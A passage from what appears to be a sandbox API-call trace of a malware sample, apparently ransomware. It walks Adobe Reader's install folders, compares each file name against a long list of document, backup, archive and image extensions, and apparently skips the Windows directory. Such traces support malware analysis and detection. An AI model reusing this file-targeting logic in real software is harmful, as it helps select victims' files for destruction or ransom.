(lpString1=".dqy", lpString2="g.js") returned -1 [0261.670] lstrlenW (lpString=".dsn") returned 4 [0261.670] lstrcmpiW (lpString1=".dsn", lpString2="g.js") returned -1 [0261.670] lstrlenW (lpString=".dt") returned 3 [0261.670] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0261.670] lstrlenW (lpString=".dtd") returned 4 [0261.670] lstrcmpiW (lpString1=".dtd", lpString2="g.js") returned -1 [0261.671] lstrlenW (lpString=".dwg") returned 4 [0261.671] lstrcmpiW (lpString1=".dwg", lpString2="g.js") returned -1 [0261.671] lstrlenW (lpString=".dwt") returned 4 [0261.671] lstrcmpiW (lpString1=".dwt", lpString2="g.js") returned -1 [0261.671] lstrlenW (lpString=".dx") returned 3 [0261.671] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0261.671] lstrlenW (lpString=".dxf") returned 4 [0261.671] lstrcmpiW (lpString1=".dxf", lpString2="g.js") returned -1 [0261.671] lstrlenW (lpString=".edml") returned 5 [0261.671] lstrcmpiW (lpString1=".edml", lpString2="ig.js") returned -1 [0261.671] lstrlenW (lpString=".efd") returned 4 [0261.671] lstrcmpiW (lpString1=".efd", lpString2="g.js") returned -1 [0261.671] lstrlenW (lpString=".elf") returned 4 [0261.671] lstrcmpiW (lpString1=".elf", lpString2="g.js") returned -1 [0261.671] lstrlenW (lpString=".emf") returned 4 [0261.671] lstrcmpiW (lpString1=".emf", lpString2="g.js") returned -1 [0261.671] lstrlenW (lpString=".emz") returned 4 [0261.671] lstrcmpiW (lpString1=".emz", lpString2="g.js") returned -1 [0261.671] lstrlenW (lpString=".epf") returned 4 [0261.671] lstrcmpiW (lpString1=".epf", lpString2="g.js") returned -1 [0261.671] lstrlenW (lpString=".eps") returned 4 [0261.671] lstrcmpiW (lpString1=".eps", lpString2="g.js") returned -1 [0261.671] lstrlenW (lpString=".epsf") returned 5 [0261.671] lstrcmpiW (lpString1=".epsf", lpString2="ig.js") returned -1 [0261.671] lstrlenW (lpString=".epsp") returned 5 [0261.671] lstrcmpiW (lpString1=".epsp", lpString2="ig.js") returned -1 [0261.672] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="core", cAlternateFileName="")) returned 1 [0261.672] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0261.672] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\*", lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0261.672] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0261.672] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 1 [0261.673] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0261.673] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\*", lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0261.673] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.673] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0261.673] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4215da0 [0261.674] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315670 [0261.674] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0261.674] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0261.674] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0261.674] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ar-ae\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0261.674] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.674] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0261.674] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0261.675] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0261.675] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0261.675] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es") returned 105 [0261.675] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es") returned 1 [0261.675] lstrlenW (lpString="ca-es") returned 5 [0261.675] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ca-es") returned -1 [0261.675] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0261.675] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es") returned 105 [0261.675] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0261.675] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.675] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.675] lstrlenW (lpString="ui-strings.js") returned 13 [0261.675] lstrlenW (lpString=".1cd") returned 4 [0261.675] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0261.675] lstrlenW (lpString=".3ds") returned 4 [0261.675] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0261.675] lstrlenW (lpString=".3fr") returned 4 [0261.675] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0261.675] lstrlenW (lpString=".3g2") returned 4 [0261.675] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0261.676] lstrlenW (lpString=".3gp") returned 4 [0261.676] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0261.676] lstrlenW (lpString=".7z") returned 3 [0261.676] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0261.676] lstrlenW (lpString=".accda") returned 6 [0261.676] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0261.676] lstrlenW (lpString=".accdb") returned 6 [0261.676] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0261.676] lstrlenW (lpString=".accdc") returned 6 [0261.676] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0261.676] lstrlenW (lpString=".accde") returned 6 [0261.676] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0261.676] lstrlenW (lpString=".accdt") returned 6 [0261.676] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0261.676] lstrlenW (lpString=".accdw") returned 6 [0261.676] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0261.676] lstrlenW (lpString=".adb") returned 4 [0261.676] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0261.676] lstrlenW (lpString=".adp") returned 4 [0261.676] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0261.676] lstrlenW (lpString=".ai") returned 3 [0261.676] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0261.676] lstrlenW (lpString=".ai3") returned 4 [0261.676] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0261.676] lstrlenW (lpString=".ai4") returned 4 [0261.676] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0261.676] lstrlenW (lpString=".ai5") returned 4 [0261.676] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0261.676] lstrlenW (lpString=".ai6") returned 4 [0261.677] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0261.677] lstrlenW (lpString=".ai7") returned 4 [0261.677] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0261.677] lstrlenW (lpString=".ai8") returned 4 [0261.677] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0261.677] lstrlenW (lpString=".anim") returned 5 [0261.677] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0261.677] lstrlenW (lpString=".arw") returned 4 [0261.677] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0261.677] lstrlenW (lpString=".as") returned 3 [0261.677] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0261.677] lstrlenW (lpString=".asa") returned 4 [0261.677] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0261.677] lstrlenW (lpString=".asc") returned 4 [0261.677] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0261.677] lstrlenW (lpString=".ascx") returned 5 [0261.677] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0261.677] lstrlenW (lpString=".asm") returned 4 [0261.677] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0261.677] lstrlenW (lpString=".asmx") returned 5 [0261.677] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0261.677] lstrlenW (lpString=".asp") returned 4 [0261.677] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0261.677] lstrlenW (lpString=".aspx") returned 5 [0261.677] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0261.677] lstrlenW (lpString=".asr") returned 4 [0261.677] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0261.678] lstrlenW (lpString=".asx") returned 4 [0261.678] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0261.678] lstrlenW (lpString=".avi") returned 4 [0261.678] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0261.678] lstrlenW (lpString=".avs") returned 4 [0261.678] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0261.678] lstrlenW (lpString=".backup") returned 7 [0261.678] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0261.678] lstrlenW (lpString=".bak") returned 4 [0261.678] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0261.678] lstrlenW (lpString=".bay") returned 4 [0261.678] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0261.678] lstrlenW (lpString=".bd") returned 3 [0261.678] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0261.678] lstrlenW (lpString=".bin") returned 4 [0261.678] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0261.678] lstrlenW (lpString=".bmp") returned 4 [0261.678] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0261.678] lstrlenW (lpString=".bz2") returned 4 [0261.678] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0261.678] lstrlenW (lpString=".c") returned 2 [0261.678] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0261.678] lstrlenW (lpString=".cdr") returned 4 [0261.678] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0261.678] lstrlenW (lpString=".cer") returned 4 [0261.678] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0261.678] lstrlenW (lpString=".cf") returned 3 [0261.678] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0261.678] lstrlenW (lpString=".cfc") returned 4 [0261.678] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0261.678] lstrlenW (lpString=".cfm") returned 4 [0261.679] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0261.679] lstrlenW (lpString=".cfml") returned 5 [0261.679] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0261.679] lstrlenW (lpString=".cfu") returned 4 [0261.679] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0261.679] lstrlenW (lpString=".chm") returned 4 [0261.679] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0261.679] lstrlenW (lpString=".cin") returned 4 [0261.679] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0261.679] lstrlenW (lpString=".class") returned 6 [0261.679] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0261.679] lstrlenW (lpString=".clx") returned 4 [0261.679] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0261.679] lstrlenW (lpString=".config") returned 7 [0261.679] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0261.679] lstrlenW (lpString=".cpp") returned 4 [0261.679] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0261.679] lstrlenW (lpString=".cr2") returned 4 [0261.679] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0261.679] lstrlenW (lpString=".crt") returned 4 [0261.679] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0261.679] lstrlenW (lpString=".crw") returned 4 [0261.679] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0261.679] lstrlenW (lpString=".cs") returned 3 [0261.679] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0261.679] lstrlenW (lpString=".css") returned 4 [0261.680] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0261.680] lstrlenW (lpString=".csv") returned 4 [0261.680] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0261.680] lstrlenW (lpString=".cub") returned 4 [0261.680] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0261.680] lstrlenW (lpString=".dae") returned 4 [0261.680] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0261.680] lstrlenW (lpString=".dat") returned 4 [0261.680] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0261.680] lstrlenW (lpString=".db") returned 3 [0261.680] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0261.680] lstrlenW (lpString=".dbf") returned 4 [0261.680] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0261.680] lstrlenW (lpString=".dbx") returned 4 [0261.680] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0261.680] lstrlenW (lpString=".dc3") returned 4 [0261.680] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0261.680] lstrlenW (lpString=".dcm") returned 4 [0261.680] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0261.680] lstrlenW (lpString=".dcr") returned 4 [0261.680] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0261.680] lstrlenW (lpString=".der") returned 4 [0261.680] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0261.680] lstrlenW (lpString=".dib") returned 4 [0261.680] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0261.680] lstrlenW (lpString=".dic") returned 4 [0261.680] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0261.680] lstrlenW (lpString=".dif") returned 4 [0261.680] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0261.680] lstrlenW (lpString=".divx") returned 5 [0261.681] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0261.681] lstrlenW (lpString=".djvu") returned 5 [0261.681] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0261.681] lstrlenW (lpString=".dng") returned 4 [0261.681] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0261.681] lstrlenW (lpString=".doc") returned 4 [0261.681] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0261.681] lstrlenW (lpString=".docm") returned 5 [0261.681] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0261.681] lstrlenW (lpString=".docx") returned 5 [0261.681] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0261.681] lstrlenW (lpString=".dot") returned 4 [0261.681] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0261.681] lstrlenW (lpString=".dotm") returned 5 [0261.681] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0261.681] lstrlenW (lpString=".dotx") returned 5 [0261.681] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0261.681] lstrlenW (lpString=".dpx") returned 4 [0261.681] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0261.681] lstrlenW (lpString=".dqy") returned 4 [0261.681] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0261.681] lstrlenW (lpString=".dsn") returned 4 [0261.681] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0261.681] lstrlenW (lpString=".dt") returned 3 [0261.681] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0261.681] lstrlenW (lpString=".dtd") returned 4 [0261.681] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0261.681] lstrlenW (lpString=".dwg") returned 4 [0261.681] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0261.681] lstrlenW (lpString=".dwt") returned 4 [0261.682] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0261.682] lstrlenW (lpString=".dx") returned 3 [0261.682] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0261.682] lstrlenW (lpString=".dxf") returned 4 [0261.682] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0261.682] lstrlenW (lpString=".edml") returned 5 [0261.682] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0261.682] lstrlenW (lpString=".efd") returned 4 [0261.682] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0261.682] lstrlenW (lpString=".elf") returned 4 [0261.682] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0261.682] lstrlenW (lpString=".emf") returned 4 [0261.682] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0261.682] lstrlenW (lpString=".emz") returned 4 [0261.682] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0261.682] lstrlenW (lpString=".epf") returned 4 [0261.682] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0261.682] lstrlenW (lpString=".eps") returned 4 [0261.682] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0261.682] lstrlenW (lpString=".epsf") returned 5 [0261.682] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0261.682] lstrlenW (lpString=".epsp") returned 5 [0261.682] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0261.682] lstrlenW (lpString=".erf") returned 4 [0261.682] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0261.682] lstrlenW (lpString=".exr") returned 4 [0261.682] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0261.682] lstrlenW (lpString=".f4v") returned 4 [0261.682] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0261.683] lstrlenW (lpString=".fido") returned 5 [0261.683] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0261.683] lstrlenW (lpString=".flm") returned 4 [0261.683] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0261.683] lstrlenW (lpString=".flv") returned 4 [0261.683] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0261.683] lstrlenW (lpString=".frm") returned 4 [0261.683] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0261.683] lstrlenW (lpString=".fxg") returned 4 [0261.683] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0261.683] lstrlenW (lpString=".geo") returned 4 [0261.683] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0261.683] lstrlenW (lpString=".gif") returned 4 [0261.683] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0261.683] lstrlenW (lpString=".grs") returned 4 [0261.683] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0261.683] lstrlenW (lpString=".gz") returned 3 [0261.683] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0261.683] lstrlenW (lpString=".h") returned 2 [0261.683] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0261.683] lstrlenW (lpString=".hdr") returned 4 [0261.683] 